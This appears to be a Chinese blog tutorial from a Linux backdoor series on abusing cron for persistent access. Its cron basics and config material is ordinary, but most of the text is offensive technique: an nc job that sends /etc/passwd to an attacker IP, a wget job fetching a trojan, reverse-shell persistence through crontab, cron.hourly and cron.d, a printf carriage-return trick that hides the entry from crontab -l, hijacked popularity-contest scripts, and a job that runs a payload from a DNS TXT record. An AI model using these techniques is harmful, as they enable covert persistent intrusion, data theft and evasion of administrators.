计划任务后门 | Linux 后门系列
Linux 计划任务是一项服务,由 cron 工具来完成,主要目的就是在无需人工干预的情况下运行作业
PS: 功能较为简单的at命令在Ubuntu 16.04中已经不自带了
0x01 cron服务简介
我们来寻找一下这个工具的地址吧!
既然是一项服务,那么启动、停止、查询状态等操作相信大家都会了
默认情况下Ubuntu 16.04 中 cron 服务是默认开机自启的
这个服务的使用也是比较简单,cron服务都是使用crontab 命令来进行设定计划任务的
关于这个命令的一些参数如下:
crontab -u user 设定某个user的计划任务(或许可以用高权限设置低权限用户计划任务以躲避检查)
crontab -l 列出用户的cron服务的详细内容
看起来像是一个文件,因为有注释有空格,那么究竟是不是一个文件呢?一会儿再说吧(Linux上万物皆文件,肯定是文件啦!)
crontab -r 删除用户所有的计划任务
crontab -i 在删除用户的crontab文件时给确认提示
crontab -e 编辑用户的计划任务
别的不说,先创建一个计划任务为快
Ubuntu 16.04 默认使用的是nano编辑器来进行编辑计划任务,对于习惯了vim的我还是需要时间去适应
这条计划任务的意思是每1分钟,执行一次 nc 192.168.1.38 5555 < /etc/passwd
攻击机这边监听5555端口
成功获取到目标主机传输过来的文件,再次监听5555端口
过了一会儿就又收到了目标主机传递过来的字符
到了这里大家对于计划任务应该是有了一个基本的认识,下面咱们就讲一点细致的东西(感谢鸟哥,写了一本好书,让我从中学习不少东西)
0x02 配置文件
经过这么一顿查找,我发现Ubuntu 上少了几个鸟哥介绍的配置文件,那我们就先来说说少了什么?
/etc/cron.deny
/etc/cron.allow
这两个文件在Ubuntu 16.04 中默认并没有,如下:
这两个文件到底是什么作用呢?是不是在Ubuntu 16.04上不需要这两个文件呢?
/etc/cron.deny
这个配置文件是用来禁止一些用户使用cron服务的
我们创建这个文件,并尝试一下将当前用户 helper 加入到禁止列表中
我们尝试使用一下 crontab -l
可以看到,这个文件生效了,我们当前的用户被禁止使用 cron 服务了。
/etc/cron.allow
这个配置文件正好相反,是允许一些用户来使用cron服务,那么在 cron.deny 将helper禁用的情况下,我们同时配置 /etc/cron.allow 来允许 helper 来进行使用 cron服务,结果会怎么样呢?
可以看到,同时配置 cron.deny 和 cron.allow 的时候, helper用户是可以使用cron服务的
所以原本系统没有的配置文件,我们额外添加上以后会达到一些限制或者放行用户的效果。生活也是一样,总有一些人,一些事,一不留神就闯了进来,一切也随之改变...
"访问控制"的配置项说完,我们来介绍一下这个服务工作过程中的配置项,这里将配置项分为两类:系统本身,用户个人配置
系统本身配置项
/etc/crontab
/etc/cron.d/
计划任务这么好用的东西肯定不止我们用户喜欢用,系统自身也有一些依赖性操作
/etc/crontab
这个文件看着眼熟呀,跟 crontab -e
很像呀,仔细看,其实还是有很多差异的,比如语法上就有不同,这个文件比 crontab -e
多了一个user字段,所以可以确定 crontab -e
修改的不是 /etc/crontab 文件
SHELL=/bin/sh
设置SHELL使用哪一种,看过之前文章的对这个肯定不陌生
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
这个更熟悉了,设置环境变量 PATH 的值
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
上面这一部分就是系统要执行的计划任务,cron服务会间隔一段时间来对/etc/cron.daily
、/etc/cron.weekly
、/etc/cron.monthly
进行扫描,执行其中的全部可执行文件
可以看到,其中的可执行文件其实就是一些shell脚本,说到这我估计你在心里肯定是有了一些想法,不着急哦,先揣着。
/etc/cron.d/
我们看一看这两个文件是什么
/etc/cron.d/popularity-contest
这个文件也是用来执行一项计划任务,计划任务的主要效果是统计出那些是最流行的安装包
参考文章
https://manpages.debian.org/testing/popularity-contest/popularity-contest.8.en.html
用户设置项
/var/spool/cron/crontabs/helper
到目前我们都没有找到 crontab -e
编辑的文件在哪里,其实这个文件在 /var/spool/cron/crontabs/ 下
这个文件权限还是蛮高的,默认都不允许进行查看,可以看到,这个就是我们 crontab -e
编辑的文件,这也证实了我们之前的猜想
我们看一下这个文件是什么权限
这个文件比较特殊,没有属组和属主
文件第一行写着,不要编辑这个文件 ,所以我要尝试编辑一下,看看是不是可以直接修改计划任务
我把 /etc/passwd 修改为 /etc/issue
我们去监听吧
可以看到成功获取到 /etc/issue 的内容,记住一点,一定别写错了,整不好cron服务就崩了
0x03 cron 语法
crontab -e 的文件中,可以看到其实人家里面已经给我们说明了,
m h dom mon dow command 分别代表
分 时 日期 月份 周 命令
代表意义 | 分钟 | 小时 | 日期 | 月份 | 周 | 命令 |
---|---|---|---|---|---|---|
数字范围 | 0~59 | 0~23 | 1~31 | 1~12 | 0~7 | 执行啥写啥 |
这里的分钟,小时xxx都是单位,在这一位上写上对应的值就是按照对应的位作为单位
我当时看到这个表第一反应是好清晰,定义起来很方便;两分钟之后开始觉得不对劲,不知道大家现在什么样。
这里要说一下周的0和7都是表示周日,也就是星期天。同时周是不能与日月同时并存
特殊字符
关于特殊字符这里得说明一下,主要就是 * , - /n
特殊字符 | 代表意义 |
---|---|
* | 表示在这个单位上任何时刻都可以 |
, | 多个时间用逗号进行分割,比如一天中早晨7点和早晨8点都要执行,可以 7,8 |
- | 代表一段时间内,跟Nmap的端口范围很像,比如早晨7点到8点之间,可以 7-8 |
/n | 这里的n是数字的意思,是每隔n隔单位的意思,比如每隔5分钟,可以 */5 * * * * cmd |
/etc/crontab
这个文件毕竟是用来设置系统日常要用的计划任务,所以呢,会多一个user字段,以满足多用户权限管控的要求
0x04 简单练习
每天凌晨3点半清理一下/home/xxxx/test文件夹
30 3 * * * rm -r /home/xxxx/test/*
每隔10分钟下载一下我们的木马
*/10 * * * * wget http://www.test.com/muma.exe
0x05 后门利用
首先介绍一下日志的问题,Ubuntu 16.04 默认情况下是不会将日志记录到 /var/log/cron 这个文件的,也没有这个文件,可以通过配置来设置成这个文件。
Ubuntu 16.04 默认会将日志记录到 /var/log/syslog 中,可以使用
tail -f /var/log/syslog
来进行查看利用计划任务持续一句话反弹shell
mac上监听
victim 主机上设置计划任务
mac上成功获取到shell
PS: 很多兄弟肯定看一眼就过去了,哦,反弹个shell而已,但是在这个地方我卡了一周左右,还是跟以前一样,我会把这一周内的经历以吐槽的方式写在文章最后,只想学习技术的可以直接抱走,不用划到最后
利用计划任务持续执行一个文件反弹shell
mac 上监听
victim 主机创建可执行文件,并且设置计划任务
mac 上成功获取shell
ps:这里权限是root是因为我用root权限设置的计划任务,没用普通权限主要是因为懒,直接按上来查找历史命令了
将文件存储在cron默认扫描的文件夹下,以 /etc/cron.hourly/ 为例
在 /etc/cron.hourly/
中放置我们的可执行反弹shell文件
mac 上监听
等待一段时间(一个小时执行一次)
可以看到成功反弹shell
这种反弹方式不会再 crontab -l 中显现
**【notice】 **
其实我并没有等一个小时,我直接执行了
sudo run-parts -v --report /etc/cron.hourly
为什么要执行这个命令呢?
我们看一下 /etc/crontab
可以看到系统默认的计划任务中就有 cd / && run-parts --report /etc/cron.hourly
,这条命令的含义就是执行/etc/cron.hourly/
下的所有的可执行文件
我在执行的时候加上了 -v 参数,这个参数就是显示一些详细信息,主要是错误信息,这个具体事件再吐槽部分再说吧
将计划任务文件存储在 /etc/cron.d/ 下
victim 主机
mac上监听
成功获取shell
0x06 巧用计划任务留后门
(crontab -l;printf "*/1 * * * * /home/helper/1.sh;\rno crontab for `whoami`%100c\n")|crontab -
物理机等待1分钟左右成功接收到shell
这种利用方法巧妙在使用了windows中的 \r( Linux 中显示为M),导致显示截断,从而隐藏我们真实的计划任务,我们使用crontab -e 可以看到真实的计划任务如下:
这个技巧大家文章里都说烂了,但是我看到后有一个深深的疑问,这个 %100c 是什么???
翻遍百度谷歌没人结合计划任务说过,结合c代码说的我也没太看懂,但是呢,经过尝试,加与不加都不耽误执行前面的计划任务,所以我就没太管...怎么可能不管,每一个未知命令都有可能造成亿万资金的损失,不知道这帮爹都咋寻思的,写文章转载文章就好像不过脑子似的,好歹说一说咋回事嘛,哎,在这里不吐槽!!!!
探究一下吧,我们将计划任务指令不写入计划任务,直接输出其中差异部分
printf "*/1 * * * * /home/helper/1.sh;\rno crontab for `whoami`%100c\n"
printf "*/1 * * * * /home/helper/1.sh;\rno crontab for `whoami`\n"
分别执行一下吧:
可以看到,输出结果是不一样的,不加 %100c 时候,在 no crontab for helper 后面多了几个字符 per/1.sh;
看到这里我是懵的,什么情况,怎么还显示了一半???我记得在计划任务里不是这样的呀?
尝试一下分别写入计划任务吧:
加 %100c 的
不加 %100c 的
可以看到,果然是有差异的,使用 crontab -e 来进行查看一下
可以看到,这里比加上 %100c 少了 @
@ 这个字符含义可以参考下面的链接,大概意思就是占位符
https://blog.csdn.net/huiwuhuiwu/article/details/72850821
两个计划任务的执行效果是一样的,但是我们的目的是为了隐藏,所以呢,crontab -l 一查我们就露馅了,所以 %100c 还是有意义的,后来问了一下学C的朋友,他说是 “格式化输出一个字符,前面99个空格补齐” ,所以 @符号前面有很多的空格,那就是说空格帮助我们把 per/1.sh; 这部分字符给覆盖掉了?
尝试一下不使用 %100c 而是直接使用一个空格,看看什么效果
可以看到,我加的空格将 per/1.sh; 中的p给覆盖掉了,那么我加上9个空格,看看是不是能够完全覆盖掉
没错,现在我知道 %100c 是用来干啥的了,那么我现在这种情况, %9c 完全够用了吧,试一下
可以看到,需要%10c ,具体这个内部实现是怎么回事咱也不知道,不过没关系,等我开始Unix C 就会知道了
那么问题来了,为什么会出现一半字符的情况?
我之前使用的是 * * * * * ls 这样的计划任务进行测试的,所以压根儿就没有发生这样的情况
如上图,使用 ls 根本就不会发现这个事,所以幸亏要写文章,不写还真发现不了
果然,这种方法并不是完全都能将前面的内容在 crontab 中遮盖掉,只是能遮盖 \r 后面长度的字符,所以加上 %100c 基本上就可以将所有的计划任务都遮盖掉了
所以之前说 cat 的缺陷的文章就不完全准确了,比如下面这个
https://github.com/d3npa/writeups/blob/master/unix/hiding-from-cats.md
从上面截图可以看出来,这个结论并不是完全正确的,在我的例子中就要考虑 \r 前后长度关系。
劫持系统默认的计划任务文件
比如:/etc/cron.d/popularity-contest
物理机成功接收到shell
当然了,这个有点太明显了,我们伪装一下
首先是脚本命名,1.sh 也太草率了,就改名叫 .disfavor-contest
脚本位置,放在和修改的脚本一样的位置
不要新建计划任务,直接在原本的计划任务后面修改(这条要谨慎呀,要看具体情况)
这里为了方便,把频率改为了一分钟一次
物理机这边接收到shell
劫持系统默认的计划任务调用的可执行脚本
以 /etc/cron.daily/ 下的文件为例
找一个代码数最多的进行篡改
可以看到还是这个 popularity-contest 的代码是最多的,总拿它下手我都不好意思了
随便截取一行
这里看着很适合做一些手脚,要么在这加一行恶意代码,当然了,通过变量的形式,将ip地址打碎,转换ascii进行转换,做全局变量
或者我们进行下行劫持,劫持 /usr/sbin/popularity-contest ,我们可以随便修改
这个文件有 178 行,应该更容易去做恶意代码隐藏,当然了,这里面如果有执行某些文件,可以继续下行劫持
能不用IP就不用IP,使用域名解析记录
使用DNS的TXT记录(当然也可以是其他的),通过解析这个记录来进行执行
0 1 * * * /bin/sh -c "sh -c $(dig logging.chat TXT +short @pola.ns.cloudflare.com)"
在 TXT 记录中设置我们要执行的payload
参考文章:
https://blog.sucuri.net/2019/05/cronjob-backdoors.html
能用公共域名就使用公共域名
如果一台服务器主动访问一个没有任何规律的域名可能会很奇怪,但是如果访问一个linux.org的域名,ubuntu.com.cn的域名,那么就没有那么奇怪了
微博这种我们可能还能插一插手,发一发微博,之后让服务器来读取,执行,但是像ubuntu这样的域名我们很难插上一脚,我们可以在他的评论区,反馈区等等进行写入,或者说如果存在任意链接跳转漏洞就更加完美了
文章到这里就结束了,剩下就是吐槽了,大家可以散了
0x07 吐槽
这篇文章写的太久了,我连最初的吐槽都有点释怀了,就简单吐槽吐槽吧
在 ubuntu 中直接在计划任务中默认使用的是sh,指向的是 dash 而不是 bash ,所以执行反弹任务会失败
于是我搜索了一下,怎么解决,得到的方案让我大吃一惊,一哥们儿博客上写他也是发现ubuntu计划任务不能反弹shell,所以他把系统默认的sh改成了bash,之后能执行了,关键是还挺骄傲 ????
????
????
我TM!!!!
这是人干出来的事?这种等级的修改不知道会对系统对于服务造成多大影响,哎,理解不了
当然了,我想到解决方案了嘛,所以直接写在了正文里
我看着电影突然不想吐槽了,等你们在Ubuntu计划任务踩坑的时候再找我来问吧。
下面是一些注意事项,我怕自己忘了,写在下面:
脚本文件的名称不能包含“.”符号。你可以写成“im-alarm”,但不要写成“im-alarm.sh”。(因为命名问题,遇到过不执行的情况)
脚本开头必须加上“#!/bin/bash”,否则run-parts调用不成功。
往期文章